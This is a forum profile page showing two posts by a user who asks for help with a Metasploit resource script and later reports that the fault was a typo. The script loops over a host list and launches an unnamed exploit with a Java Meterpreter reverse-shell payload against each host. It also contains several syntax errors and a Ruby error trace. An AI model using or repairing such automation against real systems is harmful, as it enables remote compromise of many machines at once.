Jump to content

Metasploit_User

Members
  • Posts

    2
  • Joined

  • Last visited

Posts posted by Metasploit_User

  1. am sorry i was kind of tired couldnt focus enough i made a typo

    self.run_single("set rhosts 0.0.0.0")
    self.run_single("etg autorunscript multi_console_command")
    self.run_single("set rport 8080")
    self.run_single("set payload java/meterpreter/reverse_tcp")
    self.run_single("setg lhost <local_ip>)
    self.run_single("set ExitOnSession false")

    i though am setting my lhost to 0.0.0.0 but instead i typed rhosts 😞

    thigns happens when we loose focus
    thx any way this subject is solved 🙂

  2. Hello

    am not sure if this is the right place to post but ill give it a try

    i've been trying to automate some tasks in metasploit using ruby.

    <ruby>
    # msfconsole commands
    hostsfile="host.txt"
    hosts=[]
    File.open(hostsfile,"r") do |f|
    f.each_line do |line|
    hosts.push line.strip
    end
    end
    self.run_single("use some exploit")
    self.run_single("set target 1")
    
    self.run_single("set rhosts 0.0.0.0")
    self.run_single("etg autorunscript multi_console_command")
    self.run_single("set rport 8080")
    self.run_single("set payload java/meterpreter/reverse_tcp")
    self.run_single("setg lhost <local_ip>)
    self.run_single("set ExitOnSession false")
    self.run_single("use THREADS 5")
    hosts.each do |rhost|
    self.run_single("set rhost #{rhost}")
    self.run_single("exploit -j -z") end
    
    
     
    </ruby>

    but each time i run

    msfconsole -r glas.rc

    i get an error

    [*] Processing myscript.rc for ERB directives.
    [*] resource (myscript.rc)> Ruby Code (572 bytes)
    [-] resource (myscript.rc)> Ruby Error: SyntaxError /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:65: syntax error, unexpected tIDENTIFIER, expecting ')'
    self.run_single("set RHOSTS #{rhost}")
                        ^
    /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:66: syntax error, unexpected keyword_end, expecting end-of-input
    un_single("exploit -j -z") end
                                  ^ ["/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `eval'", "/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `load_resource'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:183:in `block in initialize'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `each'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `initialize'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `new'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `driver'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in `<main>'"]
    [*] Starting persistent handler(s)...

    i would really appreciate it if you can help me or even push me in the right direction.

    Thanks a lot.

×
×
  • Create New...